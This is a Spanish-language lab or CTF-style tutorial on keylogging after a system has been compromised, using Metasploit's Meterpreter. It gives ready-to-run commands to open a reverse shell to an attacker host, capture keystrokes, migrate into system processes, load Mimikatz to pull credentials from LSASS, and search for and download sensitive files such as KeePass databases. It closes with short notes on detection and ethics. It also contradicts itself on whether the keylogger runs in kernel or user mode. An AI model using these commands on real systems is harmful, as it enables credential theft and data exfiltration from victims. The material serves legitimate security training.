⌨ ¿Qué es el Keylogging en Post-Explotación?
El keylogging es una técnica de post-explotación que registra todas las pulsaciones de teclado realizadas en el sistema comprometido. En Metasploit, la extensión de keylogging de Meterpreter opera en modo kernel, lo que le confiere una visibilidad amplia y dificulta su detección por soluciones de seguridad convencionales.
Técnica MITRE ATT&CK: T1056.001 - Input Capture: Keylogging. Táctica: TA0009 - Collection.
¿Qué información puede capturarse?
| Tipo de datos | Ejemplo |
|---|---|
| Credenciales | Usuarios y contraseñas de formularios web o aplicaciones |
| Comandos | Instrucciones escritas en terminal o PowerShell |
| Texto sensible | Contenido de emails, documentos o chats |
| PINs/Códigos | Códigos de autenticación temporal (OTP) |
💥 Fase 1 — Obtener sesión Meterpreter
Acceso inicial
msfconsole -q
use exploit/... # según el vector de entrada
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Verificar sesión
getuid
sysinfo⌨ Fase 2 — Activar y gestionar el keylogger
Iniciar captura de pulsaciones
# En la sesión Meterpreter:
keyscan_start
# Opcional: combinar con Mimikatz para credenciales de memoria
load kiwi
Volcar pulsaciones capturadas
# Después de que el usuario haya escrito algo:
keyscan_dump
# Ejemplo de salida:
# <Return> administrator <Return> Passw0rd123! <Return>
Detener el keylogger
keyscan_stopEl keylogger captura pulsaciones del proceso activo. Para capturar de forma más amplia, migra Meterpreter a un proceso del sistema (explorer.exe, winlogon.exe).
Migrar a proceso del sistema (mayor cobertura)
# Listar procesos
ps
# Migrar a explorer.exe (por ejemplo PID 1234)
migrate 1234
# Luego reiniciar el keylogger
keyscan_start📁 Exfiltración de archivos con Meterpreter
Buscar y descargar archivos
# Buscar archivos interesantes
search -f "*.txt"
search -f "*.docx"
search -f "*.kdbx" # KeePass databases
# Descargar archivo específico
download C:\Users\Administrator\Documents\secreto.txt
# Subir archivo al sistema
upload /root/tools/tool.exe C:\Windows\Temp\tool.exe
Obtener la flag
cd C:\Users\Administrator\Desktop
cat flag.txt🧠 Conceptos clave
- keyscan_start/dump/stop: Comandos Meterpreter para gestionar el keylogger en modo usuario/kernel.
- Migración de procesos: Mover Meterpreter a un proceso más estable y con mayor visibilidad del escritorio.
- load kiwi: Carga la extensión Mimikatz para extraer credenciales de la memoria LSASS.
- Detección: Los EDR modernos detectan keyloggers por hooks de teclado a nivel kernel. El análisis de comportamiento es clave.
- Ética: El keylogging sin autorización es ilegal. Solo en entornos controlados con permiso explícito.